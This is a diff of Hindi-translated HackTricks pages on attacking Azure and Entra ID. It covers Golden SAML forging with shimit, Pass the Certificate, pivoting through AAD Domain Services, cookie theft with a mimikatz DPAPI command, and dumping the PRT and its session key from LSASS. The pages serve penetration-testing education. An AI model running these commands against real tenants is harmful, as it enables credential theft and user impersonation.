उत्पन्न **`AAD DC Administrators`** समूह के सदस्यों को प्रबंधित डोमेन से जुड़े VMs पर स्थानीय व्यवस्थापक अनुमतियाँ दी जाती हैं (लेकिन डोमेन नियंत्रकों में नहीं) क्योंकि उन्हें स्थानीय व्यवस्थापक समूह में जोड़ा जाता है। इस समूह के सदस्य **Remote Desktop का उपयोग करके डोमेन-जोड़े गए VMs से दूरस्थ रूप से कनेक्ट** कर सकते हैं, और ये समूहों के भी सदस्य हैं:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: यह एक समूह है जो उन उपयोगकर्ताओं और समूहों को निर्दिष्ट करता है जिनके पासवर्ड RODCs (Read-Only Domain Controllers) पर कैश नहीं किए जा सकते।
|
||||
- **`Group Policy Creators Owners`**: यह समूह सदस्यों को डोमेन में समूह नीतियाँ बनाने की अनुमति देता है। हालाँकि, इसके सदस्य उपयोगकर्ताओं या समूहों पर समूह नीतियाँ लागू नहीं कर सकते या मौजूदा GPOs को संपादित नहीं कर सकते, इसलिए यह इस वातावरण में इतना दिलचस्प नहीं है।
|
||||
@@ -30,14 +30,14 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
ध्यान दें कि इन अनुमतियों को देने के लिए, AD के अंदर **`AAD DC Administrators`** समूह को पिछले समूहों का सदस्य बनाया गया है, और GPO **`AADDC Computers GPO`** सभी सदस्यों को स्थानीय प्रशासकों के रूप में जोड़ रहा है जो डोमेन समूह **`AAD DC Administrators`** के हैं।
|
||||
ध्यान दें कि इन अनुमतियों को देने के लिए, AD के अंदर **`AAD DC Administrators`** समूह को पिछले समूहों का सदस्य बनाया गया है, और साथ ही GPO **`AADDC Computers GPO`** सभी सदस्यों को स्थानीय प्रशासकों के रूप में जोड़ रहा है जो डोमेन समूह **`AAD DC Administrators`** के हैं।
|
||||
|
||||
Entra ID से Domain Services के साथ बनाए गए AD में पिवोट करना सीधा है, बस **`AAD DC Administrators`** समूह में एक उपयोगकर्ता जोड़ें, डोमेन में किसी भी/सभी मशीनों पर RDP के माध्यम से पहुंचें और आप डेटा चुरा सकेंगे और साथ ही **डोमेन को भी समझौता कर सकेंगे।**
|
||||
|
||||
हालांकि, डोमेन से Entra ID में पिवोट करना इतना आसान नहीं है क्योंकि डोमेन से कुछ भी Entra ID में समन्वयित नहीं हो रहा है। हालांकि, हमेशा सभी VMs के मेटाडेटा की जांच करें जो उनके असाइन किए गए प्रबंधित पहचान के रूप में दिलचस्प अनुमतियाँ हो सकती हैं। साथ ही **डोमेन से सभी उपयोगकर्ताओं के पासवर्ड को डंप करें** और उन्हें क्रैक करने की कोशिश करें ताकि फिर Entra ID / Azure में लॉगिन किया जा सके।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि अतीत में इस प्रबंधित AD में अन्य कमजोरियाँ पाई गई थीं जो DCs को समझौता करने की अनुमति देती थीं, [जैसे कि यह](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)। एक हमलावर जो DC को समझौता करता है, बहुत आसानी से स्थिरता बनाए रख सकता है बिना Azure प्रशासकों को नोटिस किए या यहां तक कि इसे हटाने में सक्षम होने के बिना।
|
||||
> ध्यान दें कि अतीत में इस प्रबंधित AD में अन्य कमजोरियाँ पाई गई थीं जो DCs को समझौता करने की अनुमति देती थीं, [जैसे कि यह](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)। एक हमलावर जो DC को समझौता करता है, बहुत आसानी से स्थिरता बनाए रख सकता है बिना Azure प्रशासकों को नोटिस किए या यहां तक कि इसे हटाने में सक्षम हुए बिना।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
@@ -23,7 +23,7 @@
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर पहुंच सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।
|
||||
1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा एक्सेस किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जाता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।
|
||||
2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है।
|
||||
3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है।
|
||||
4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूर्ण होने का संकेत देता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।
|
||||
@@ -38,9 +38,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
- AD FS एक क्लेम-आधारित पहचान मॉडल है।
|
||||
- "..क्लेम्स बस उपयोगकर्ताओं के बारे में किए गए बयानों (उदाहरण के लिए, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।"
|
||||
- एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं।
|
||||
- एक उपयोगकर्ता के लिए क्लेम्स SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं।
|
||||
- एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है।
|
||||
- ImmutableID को उपयोगकर्ता के लिए ऑन-प्रिम के रूप में ms-DS-ConsistencyGuid पर संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है।
|
||||
- ImmutableID उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid पर संग्रहीत होता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है।
|
||||
- अधिक जानकारी [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) में है।
|
||||
|
||||
**गोल्डन SAML हमला:**
|
||||
@@ -53,9 +53,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
### गोल्डन SAML
|
||||
|
||||
प्रक्रिया जहां एक **पहचान प्रदाता (IdP)** एक **SAMLResponse** उत्पन्न करता है ताकि उपयोगकर्ता साइन-इन को अधिकृत किया जा सके, अत्यंत महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है, जो **IdP की निजी कुंजी** का उपयोग करता है। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।
|
||||
एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** **हस्ताक्षरित** या **एन्क्रिप्टेड** हो सकती है, जो **IdP की निजी कुंजी** का उपयोग करती है। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने में सक्षम बनाती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।
|
||||
|
||||
[गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को प्रमाणीकरण वस्तु (TGT या SAMLResponse) को **जाली बनाने** के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है।
|
||||
[गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को **प्रमाणीकरण वस्तु** (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है।
|
||||
|
||||
गोल्डन SAML कुछ लाभ प्रदान करते हैं:
|
||||
|
||||
@@ -96,7 +96,7 @@ _केवल बोल्ड में दिए गए आइटम अनि
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
सभी जानकारी के साथ, आप [**shimit**](https://github.com/cyberark/shimit)**:** का उपयोग करके उस उपयोगकर्ता के रूप में एक मान्य SAMLResponse को भूलना संभव है जिसे आप अनुकरण करना चाहते हैं।
|
||||
सभी जानकारी के साथ, आप [**shimit**](https://github.com/cyberark/shimit)** का उपयोग करके उस उपयोगकर्ता के रूप में एक मान्य SAMLResponse को भूलना संभव है जिसे आप अनुकरण करना चाहते हैं:**
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# Hybrid Identity Miscellaneous Attacks
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Forcing Synchronization of Entra ID users to on-prem
|
||||
|
||||
जैसा कि [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) में उल्लेख किया गया है, यह संभव था कि **`ProxyAddress`** के मान को ऑन-प्रेम AD में एक AD उपयोगकर्ता के अंदर बदला जाए, Entra ID प्रशासनिक उपयोगकर्ता का ईमेल जोड़कर और यह सुनिश्चित करके कि AD और Entra ID में उपयोगकर्ता का UPN मेल खाता है (यह फिर से Entra ID है), जैसे **`SMTP:admin@domain.onmicrosoft.com`**। और यह **इस उपयोगकर्ता की समन्वयित करने के लिए मजबूर करेगा** Entra ID से ऑन-प्रेम AD में, इसलिए यदि उपयोगकर्ता का पासवर्ड ज्ञात था, तो इसका उपयोग **Entra ID में प्रशासनिक उपयोगकर्ता तक पहुँचने के लिए किया जा सकता था।**
|
||||
जैसा कि [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) में उल्लेख किया गया है, यह संभव था कि **`ProxyAddress`** के मान को एक AD उपयोगकर्ता के अंदर बदला जाए, ऑन-प्रेम AD में एक Entra ID व्यवस्थापक उपयोगकर्ता का ईमेल जोड़कर और यह सुनिश्चित करके कि AD और Entra ID में उपयोगकर्ता का UPN मेल खाता है (यह फिर से Entra ID है), जैसे **`SMTP:admin@domain.onmicrosoft.com`**। और यह **इस उपयोगकर्ता की समन्वयित करने के लिए मजबूर करेगा** Entra ID से ऑन-प्रेम AD में, इसलिए यदि उपयोगकर्ता का पासवर्ड ज्ञात था, तो इसका उपयोग **Entra ID में व्यवस्थापक तक पहुँचने के लिए किया जा सकता था।**
|
||||
|
||||
Entra ID से ऑन-प्रेम AD में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं, केवल आवश्यकताएँ हैं:
|
||||
|
||||
@@ -15,7 +15,7 @@ Entra ID से ऑन-प्रेम AD में एक नए उपयो
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID अब Entra ID से ऑन-प्रेम AD में प्रशासनिक उपयोगकर्ताओं को समन्वयित करने की अनुमति नहीं देता।
|
||||
> Entra ID अब Entra ID से ऑन-प्रेम AD में व्यवस्थापकों को समन्वयित करने की अनुमति नहीं देता है।
|
||||
> इसके अलावा, यह **MFA को बायपास नहीं करेगा**।
|
||||
|
||||
|
||||
@@ -26,4 +26,4 @@ Entra ID से ऑन-प्रेम AD में एक नए उपयो
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -29,7 +29,7 @@ Azure PowerShell भी टोकन और संवेदनशील डे
|
||||
|
||||
## Tokens in memory
|
||||
|
||||
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में बताया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **साफ़ पाठ में मेमोरी में एक्सेस टोकन संग्रहीत कर सकते हैं**। इसलिए केवल **dumping** करना और **memory** के प्रोसेस का **grepping for JWT tokens** आपको क्लाउड में कई संसाधनों पर पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए।
|
||||
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में बताया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **साफ़ पाठ में मेमोरी में एक्सेस टोकन संग्रहीत कर सकते हैं**। इसलिए केवल **dumping** करना और **memory** के प्रोसेस का **grepping for JWT tokens** करना आपको क्लाउड में कई संसाधनों पर पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए।
|
||||
|
||||
Steps:
|
||||
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणीकृत करना संभव है जो **उपयोगकर्ता के लिए Entra ID CA द्वारा जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं।
|
||||
Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणित करना संभव है जो **उपयोगकर्ता के लिए Entra ID CA द्वारा जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं।
|
||||
|
||||
बहुत सरल शब्दों में:
|
||||
अत्यधिक सरल शब्दों में:
|
||||
|
||||
- कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Entra ID से एक प्रमाणपत्र की आवश्यकता होती है**।
|
||||
- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) का उपयोग करके साइन करता है और **इसे Entra ID को भेजता है**।
|
||||
- Entra ID JWT हस्ताक्षर को क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके सत्यापित करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है।
|
||||
- Entra ID क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके JWT हस्ताक्षर की पुष्टि करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है।
|
||||
|
||||
इस परिदृश्य में और [**Pass the PRT**](az-primary-refresh-token-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद:
|
||||
|
||||
@@ -20,7 +20,7 @@ Azure में जुड़े मशीनों पर, एक मशीन
|
||||
- सुरक्षा संदर्भ
|
||||
- व्युत्पन्न कुंजी
|
||||
|
||||
उपयोगकर्ता के लिए **P2P प्रमाणपत्र** का **PrtToCert** टूल का उपयोग करके **अनुरोध करना संभव है**: [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **मांगना संभव है**।
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
@@ -30,6 +30,6 @@ Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- Pass the Certificate कैसे काम करता है इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
- Pass the Certificate कैसे काम करता है, इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,7 +14,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## Attack
|
||||
|
||||
चुनौतीपूर्ण भाग यह है कि वे **कुकीज़ एन्क्रिप्टेड** हैं उपयोगकर्ता के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [कुंजी जो उपयोगकर्ता से जुड़ी हैं](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) जिनसे कुकीज़ संबंधित हैं। इसके बारे में अधिक जानकारी आप यहाँ पा सकते हैं:
|
||||
चुनौतीपूर्ण भाग यह है कि वे **कुकीज़ एन्क्रिप्टेड** हैं उपयोगकर्ता के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [कुंजी जो उपयोगकर्ता से जुड़ी हैं](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) जिनसे कुकीज़ संबंधित हैं। आप इसके बारे में अधिक जानकारी यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
@@ -24,7 +24,7 @@ Mimikatz के साथ, मैं इस कमांड के माध्
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Azure के लिए, हम प्रमाणीकरण कुकीज़ के बारे में चिंतित हैं जिनमें **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, और **`ESTSAUTHLIGHT`** शामिल हैं। ये वहाँ हैं क्योंकि उपयोगकर्ता हाल ही में Azure पर सक्रिय रहा है।
|
||||
Azure के लिए, हम प्रमाणीकरण कुकीज़ के बारे में चिंतित हैं जिनमें **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, और **`ESTSAUTHLIGHT`** शामिल हैं। ये इसलिए हैं क्योंकि उपयोगकर्ता हाल ही में Azure पर सक्रिय रहा है।
|
||||
|
||||
बस login.microsoftonline.com पर जाएं और कुकी **`ESTSAUTHPERSISTENT`** (जो “Stay Signed In” विकल्प द्वारा उत्पन्न होती है) या **`ESTSAUTH`** जोड़ें। और आप प्रमाणित हो जाएंगे।
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
A **Primary Refresh Token (PRT)** एक दीर्घकालिक रिफ्रेश टोकन है जो Azure AD (Entra ID) प्रमाणीकरण में उपयोग किया जाता है, जो Kerberos TGT के समान है। यह Azure AD-से जुड़े डिवाइस पर उपयोगकर्ता लॉगिन के समय जारी किया जाता है और इसे विभिन्न अनुप्रयोगों के लिए एक्सेस टोकन अनुरोध करने के लिए उपयोग किया जा सकता है बिना क्रेडेंशियल्स को फिर से पूछे। प्रत्येक PRT के साथ एक **सत्र कुंजी** (जिसे प्रमाण-स्वामित्व कुंजी भी कहा जाता है) होती है -- एक सममित कुंजी जो अनुरोधों पर हस्ताक्षर करने और यह साबित करने के लिए उपयोग की जाती है कि क्लाइंट के पास PRT है। PRT स्वयं एक अपारदर्शी, एन्क्रिप्टेड ब्लॉब है (जो क्लाइंट द्वारा पढ़ा नहीं जा सकता), जबकि सत्र कुंजी का उपयोग टोकन अनुरोध करते समय PRT को शामिल करने वाले JWT पर **हस्ताक्षर** करने के लिए किया जाता है। दूसरे शब्दों में, केवल PRT का स्वामित्व अपर्याप्त है; एक हमलावर को वैधता साबित करने के लिए सत्र कुंजी की आवश्यकता होती है, जैसे कि प्रमाणीकरण के लिए Kerberos TGT और इसकी सत्र कुंजी दोनों की आवश्यकता होती है।
|
||||
|
||||
Windows पर, PRT और सत्र कुंजी को CloudAP प्लगइन के माध्यम से LSASS प्रक्रिया में कैश किया जाता है। यदि किसी डिवाइस में **TPM** (विश्वसनीय प्लेटफ़ॉर्म मॉड्यूल) है, तो Azure AD कुंजियों को अतिरिक्त सुरक्षा के लिए TPM से बांधता है। इसका मतलब है कि TPM-सुसज्जित उपकरणों पर, सत्र कुंजी TPM के भीतर संग्रहीत या उपयोग की जाती है ताकि इसे सामान्य परिस्थितियों में मेमोरी से सीधे पढ़ा न जा सके। यदि कोई TPM उपलब्ध नहीं है (जैसे कि कई VMs या पुराने सिस्टम), तो कुंजियाँ सॉफ़्टवेयर में रखी जाती हैं और DPAPI एन्क्रिप्शन के साथ सुरक्षित की जाती हैं। दोनों मामलों में, एक हमलावर जिसके पास प्रशासनिक विशेषाधिकार या मशीन पर कोड निष्पादन है, वह **मेमोरी से PRT और सत्र कुंजी को डंप करने** का प्रयास कर सकता है और फिर उन्हें क्लाउड में उपयोगकर्ता का प्रतिनिधित्व करने के लिए उपयोग कर सकता है। सामान्य रिफ्रेश टोकनों के विपरीत (जो आमतौर पर अनुप्रयोग-विशिष्ट होते हैं), एक PRT व्यापक है, जिससे आपके डिवाइस को लगभग किसी भी Entra ID-एकीकृत संसाधन या सेवा के लिए टोकन अनुरोध करने की अनुमति मिलती है।
|
||||
Windows पर, PRT और सत्र कुंजी को CloudAP प्लगइन के माध्यम से LSASS प्रक्रिया में कैश किया जाता है। यदि किसी डिवाइस में **TPM** (विश्वसनीय प्लेटफ़ॉर्म मॉड्यूल) है, तो Azure AD कुंजियों को अतिरिक्त सुरक्षा के लिए TPM से बांधता है। इसका मतलब है कि TPM-सुसज्जित उपकरणों पर, सत्र कुंजी TPM के भीतर संग्रहीत या उपयोग की जाती है ताकि इसे सामान्य परिस्थितियों में मेमोरी से सीधे पढ़ा न जा सके। यदि कोई TPM उपलब्ध नहीं है (जैसे कि कई VMs या पुराने सिस्टम), तो कुंजियाँ सॉफ़्टवेयर में रखी जाती हैं और DPAPI एन्क्रिप्शन के साथ सुरक्षित की जाती हैं। दोनों मामलों में, एक हमलावर जिसके पास प्रशासनिक विशेषाधिकार या मशीन पर कोड निष्पादन है, वह **मेमोरी से PRT और सत्र कुंजी को डंप करने** का प्रयास कर सकता है और फिर उन्हें क्लाउड में उपयोगकर्ता का अनुकरण करने के लिए उपयोग कर सकता है। सामान्य रिफ्रेश टोकनों के विपरीत (जो आमतौर पर अनुप्रयोग-विशिष्ट होते हैं), एक PRT व्यापक है, जिससे आपके डिवाइस को लगभग किसी भी Entra ID-एकीकृत संसाधन या सेवा के लिए टोकन अनुरोध करने की अनुमति मिलती है।
|
||||
|
||||
## How Does a PRT Work?
|
||||
|
||||
@@ -24,9 +24,9 @@ Here's a simplified breakdown of how a PRT operates:
|
||||
|
||||
3. **Single Sign-On (SSO):**
|
||||
|
||||
- प्रत्येक बार जब आप Entra ID-सुरक्षित अनुप्रयोग (जैसे Microsoft 365 ऐप्स, SharePoint, Teams) तक पहुँचते हैं, तो आपका डिवाइस चुपचाप संग्रहीत PRT का उपयोग करके उस ऐप के लिए एक विशिष्ट एक्सेस टोकन अनुरोध करता है और प्राप्त करता है।
|
||||
- प्रत्येक बार जब आप Entra ID-सुरक्षित अनुप्रयोग (जैसे, Microsoft 365 ऐप्स, SharePoint, Teams) तक पहुँचते हैं, तो आपका डिवाइस चुपचाप संग्रहीत PRT का उपयोग करके उस ऐप के लिए एक विशिष्ट एक्सेस टोकन अनुरोध करता है और प्राप्त करता है।
|
||||
|
||||
- आपको बार-बार अपने क्रेडेंशियल्स दर्ज करने की आवश्यकता नहीं है क्योंकि PRT प्रमाणीकरण को पारदर्शी रूप से संभालता है।
|
||||
- आपको बार-बार अपने क्रेडेंशियल्स दर्ज करने की आवश्यकता नहीं होती क्योंकि PRT प्रमाणीकरण को पारदर्शी रूप से संभालता है।
|
||||
|
||||
4. **Renewal and Security:**
|
||||
|
||||
@@ -36,7 +36,7 @@ Here's a simplified breakdown of how a PRT operates:
|
||||
|
||||
### Why are PRTs Powerful?
|
||||
|
||||
- **Universal Access:** सामान्य टोकनों के विपरीत जो एक ऐप या संसाधन तक सीमित होते हैं, एक PRT सभी Entra ID-एकीकृत सेवाओं तक पहुँच को सुविधाजनक बना सकता है।
|
||||
- **Universal Access:** सामान्य टोकनों के विपरीत जो एक ऐप या संसाधन तक सीमित होते हैं, एक PRT सभी Entra ID-एकीकृत सेवाओं तक पहुँच की सुविधा प्रदान कर सकता है।
|
||||
|
||||
- **Enhanced Security:** TPM जैसी अंतर्निहित हार्डवेयर सुरक्षा के साथ, PRT सुरक्षित टोकन भंडारण और उपयोग सुनिश्चित करते हैं।
|
||||
|
||||
@@ -61,7 +61,7 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## PRT को पास करें
|
||||
## PRT पास करें
|
||||
|
||||
According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **without TPM binding**, the PRT and its session key live in LSASS (CloudAP plug‑in). With local admin/SYSTEM on that device, the PRT blob and the DPAPI‑encrypted session key can be **read from LSASS, the session key decrypted via DPAPI, and the signing key derived** to mint a valid PRT cookie (`x‑ms‑RefreshTokenCredential`). You need both the PRT and its session key—the PRT string alone isn’t enough.
|
||||
|
||||
@@ -93,7 +93,7 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
|
||||
